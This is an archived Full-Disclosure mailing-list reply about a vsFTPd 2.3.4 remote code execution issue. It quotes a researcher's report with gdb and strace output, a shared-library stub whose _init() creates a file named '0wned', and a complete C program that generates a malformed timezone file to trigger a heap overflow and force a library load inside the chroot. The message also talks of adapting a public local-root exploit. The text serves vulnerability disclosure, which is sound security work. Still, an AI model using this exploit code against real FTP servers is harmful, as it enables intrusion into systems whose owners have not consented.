[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <4EEB9DDC.1050203@kernelhacking.com>
Date: Fri, 16 Dec 2011 11:37:00 -0800
From: "Rodrigo Rubira Branco (BSDaemon)" <rodrigo@...nelhacking.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: vsFTPd remote code execution
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
On 12/13/11 11:50 AM, HI-TECH . wrote:
> Hello Lists, Ramon,
>
> now this is really akward and somewhat dangerous for vsftpd users.
> Exploiting the heap overrun is NOT needed in this case. It is much
> easier.
>
> As far as I know when vsftpd crashes due to the heap overrun it
> will print out *** glibc detected *** vsftpd: free(): corrupted
> unsorted chunks: 0x09b3c220 *** or similar. Now the fun part is
> when glibc does that it will continue execution in a code path
> which actually LOADS A LIBRARY, WOW! :D Namely /lib/libgcc_s.so.1
> will be loaded.
This seems to be the case to load the interpreter for the dwarf
symbols used in exception handling.
Best Regards,
Rodrigo (BSDaemon).
>
> gdb backtrace reveals loading of a specific library:
>
> ---snip--- Program received signal SIGSEGV, Segmentation fault.
> 0x00189963 in dl_open_worker () from /lib/ld-linux.so.2 (gdb) bt #0
> 0x00189963 in dl_open_worker () from /lib/ld-linux.so.2 #1
> 0x00185da6 in _dl_catch_error () from /lib/ld-linux.so.2 #2
> 0x001893f2 in _dl_open () from /lib/ld-linux.so.2 #3 0x002a42e2 in
> do_dlopen () from /lib/libc.so.6 #4 0x00185da6 in _dl_catch_error
> () from /lib/ld-linux.so.2 #5 0x002a4495 in __libc_dlopen_mode ()
> from /lib/libc.so.6 #6 0x002810f9 in init () from /lib/libc.so.6
> #7 0x00281293 in backtrace () from /lib/libc.so.6 #8 0x001fd2a1
> in __libc_message () from /lib/libc.so.6 #9 0x002055a5 in
> _int_free () from /lib/libc.so.6 #10 0x002059e9 in free () from
> /lib/libc.so.6 #11 0x001f3c96 in fclose@@GLIBC_2.1 () from
> /lib/libc.so.6 #12 0x0022093a in __tzfile_read () from
> /lib/libc.so.6 #13 0x0021f872 in tzset_internal () from
> /lib/libc.so.6 #14 0x00220119 in __tz_convert () from
> /lib/libc.so.6 #15 0x0021e6af in gmtime () from /lib/libc.so.6 #16
> 0x0805a6f0 in geteuid () #17 0x0a0581b0 in ?? () #18 0xbfda67f4 in
> ?? () #19 0x00000001 in ?? () ---snip---
>
> look at this library: ---snip--- #include <fcntl.h> void _init() {
> open("0wned", O_RDWR|O_CREAT, 0777); } ---snip---
>
> look at this strace output: ---snip--- 3874
> stat64("/usr/share/zoneinfo/UTC-01:00", {st_mode=S_IFREG|0644,
> st_size=544, ...}) = 0 3874 open("/usr/share/zoneinfo/UTC-01:00",
> O_RDONLY) = 7 3874 fstat64(7, {st_mode=S_IFREG|0644, st_size=544,
> ...}) = 0 3874 fstat64(7, {st_mode=S_IFREG|0644, st_size=544,
> ...}) = 0 3874 mmap2(NULL, 4096, PROT_READ|PROT_WRITE,
> MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe8000 3874 read(7,
> "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
> 4096) = 544 3874 read(7, "", 4096) = 0 3874
> close(7) = 0 3874 munmap(0xb7fe8000,
> 4096) = 0 3874 open("/dev/tty",
> O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENOENT (No such file or
> directory) 3874 writev(2, [{"*** glibc detected *** ", 23},
> {"vsftpd", 6}, {": ", 2}, {"free(): corrupted unsorted chunk"...,
> 33}, {": 0x", 4}, {"09b3c220", 8}, {" ***\n", 5}], 7) = 81 3874
> open("/etc/ld.so.cache", O_RDONLY) = -1 ENOENT (No such file or
> directory) 3874 open("/lib/tls/i686/sse2/libgcc_s.so.1", O_RDONLY)
> = -1 ENOENT (No such file or directory) 3874
> stat64("/lib/tls/i686/sse2", 0xbfeb711c) = -1 ENOENT (No such file
> or directory) 3874 open("/lib/tls/i686/libgcc_s.so.1", O_RDONLY) =
> -1 ENOENT (No such file or directory) 3874 stat64("/lib/tls/i686",
> 0xbfeb711c) = -1 ENOENT (No such file or directory) 3874
> open("/lib/tls/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such
> file or directory) 3874 stat64("/lib/tls/sse2", 0xbfeb711c) = -1
> ENOENT (No such file or directory) 3874
> open("/lib/tls/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such file
> or directory) 3874 stat64("/lib/tls", 0xbfeb711c) = -1 ENOENT
> (No such file or directory) 3874
> open("/lib/i686/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such
> file or directory) 3874 stat64("/lib/i686/sse2", 0xbfeb711c) = -1
> ENOENT (No such file or directory) 3874
> open("/lib/i686/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such file
> or directory) 3874 stat64("/lib/i686", 0xbfeb711c) = -1 ENOENT
> (No such file or directory) 3874 open("/lib/sse2/libgcc_s.so.1",
> O_RDONLY) = -1 ENOENT (No such file or directory) 3874
> stat64("/lib/sse2", 0xbfeb711c) = -1 ENOENT (No such file or
> directory) 3874 open("/lib/libgcc_s.so.1", O_RDONLY) = 7 3874
> read(7,
> "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340\1\0\0004\0\0\0"...,
>
>
512) = 512
> 3874 open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENOENT (No
> such file or directory) 3874 writev(2, [{"*** glibc detected ***
> ", 23}, {"vsftpd", 6}, {": ", 2}, {"malloc(): memory corruption
> (fas"..., 34}, {": 0x", 4}, {"09b36828", 8}, {" ***\n", 5}], 7) =
> 82 3874 open("/lib/libgcc_s.so.1", O_RDONLY) = 8 3874 read(8,
> "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340\1\0\0004\0\0\0"...,
>
>
512) = 512
> 3874 mmap2(NULL, 2097152, PROT_NONE,
> MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0) = 0xb7de4000 3874
> munmap(0xb7de4000, 114688) = 0 3874 munmap(0xb7f00000,
> 933888) = 0 3874 mprotect(0xb7e00000, 135168,
> PROT_READ|PROT_WRITE) = 0 3874 fstat64(8, {st_mode=S_IFREG|0755,
> st_size=2011, ...}) = 0 3874 mmap2(NULL, 4824,
> PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 8, 0) = 0x95f000
> 3874 mmap2(0x960000, 4096, PROT_READ|PROT_WRITE,
> MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0) = 0x960000 3874
> close(8) = 0 3874 open("0wned",
> O_RDWR|O_CREAT, 0777) = 8 3874 rt_sigprocmask(SIG_UNBLOCK, [ABRT],
> NULL, 8) = 0 3874 gettid() = 3874 3874
> tgkill(3874, 3874, SIGABRT) = 0 3874 --- SIGABRT (Aborted) @
> 0 (0) --- ---snip---
>
> as you can obviously see vsftpd loads the /lib/libgcc_s.so.1 inside
> the chroot, so voila we have the same issue as with FreeBSD
> ftpd/proftpd. I am now looking into the possibility to modify
> http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c
>
> and use as the library. It will be a fun Proof of Concept.
>
> Anyone with an up2date linux local root which only makes use of
> syscalls? :>
>
> All this was tested on a CentOS 5.5 installation, vsFTPd 2.3.4 was
> compiled from sources and launched from xinetd. The zonefile which
> triggers the library load is attached.
>
> Regards
>
> /Kingcope
>
>
> #include <stdio.h> #include <stdint.h> #include <time.h> #include
> <string.h> #define TZ_MAGIC "TZif" #define PUT_32BIT_MSB(cp, value)
> \ do { \ (cp)[0] = (value) >> 24; \ (cp)[1] = (value) >> 16; \
> (cp)[2] = (value) >> 8; \ (cp)[3] = (value); \ } while (0) struct
> tzhead { char tzh_magic[4]; char tzh_version[1]; char
> tzh_reserved[15]; char tzh_ttisgmtcnt[4]; char tzh_ttisstdcnt[4];
> char tzh_leapcnt[4]; char tzh_timecnt[4]; char tzh_typecnt[4]; char
> tzh_charcnt[4]; }; struct ttinfo { long int offset; unsigned char
> isdst; unsigned char idx; unsigned char isstd; unsigned char
> isgmt; }; int main(void) { struct tzhead evil; int i; char *p;
> uint32_t total_size; uint32_t evil1, evil2; /* Initialize static
> part of the header */ memcpy(evil.tzh_magic, TZ_MAGIC,
> sizeof(TZ_MAGIC) - 1); evil.tzh_version[0] = 0;
> memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
> memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
> memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
> memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
> memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt)); /*
> Initialize nasty part of the header */ evil1 = 500;
> PUT_32BIT_MSB(evil.tzh_timecnt, evil1); total_size = evil1 *
> (sizeof(time_t) + 1); total_size = ((total_size + __alignof__
> (struct ttinfo) - 1) & ~(__alignof__ (struct ttinfo) - 1)); /*
> value of chars, to get a malloc(0) */ evil2 = 0 - total_size;
> PUT_32BIT_MSB(evil.tzh_charcnt, evil2); p = (char *)&evil; for (i =
> 0; i < sizeof(evil); i++) printf("%c", p[i]); /* data we overflow
> with */ for (i = 0; i < 500; i++) printf("A"); }
>
> _______________________________________________ Full-Disclosure -
> We believe in it. Charter:
> http://lists.grok.org.uk/full-disclosure-charter.html Hosted and
> sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG/MacGPG2 v2.0.17 (Darwin)
Comment: GPGTools - http://gpgtools.org
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iEYEARECAAYFAk7rndsACgkQRpuC3B/O3qEMbQCePR8Pr0n83hQYYQNTFtnQqZjJ
eKkAnRMhxdMGk0nmLMVpTB7u29Uv+fJT
=FCwk
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists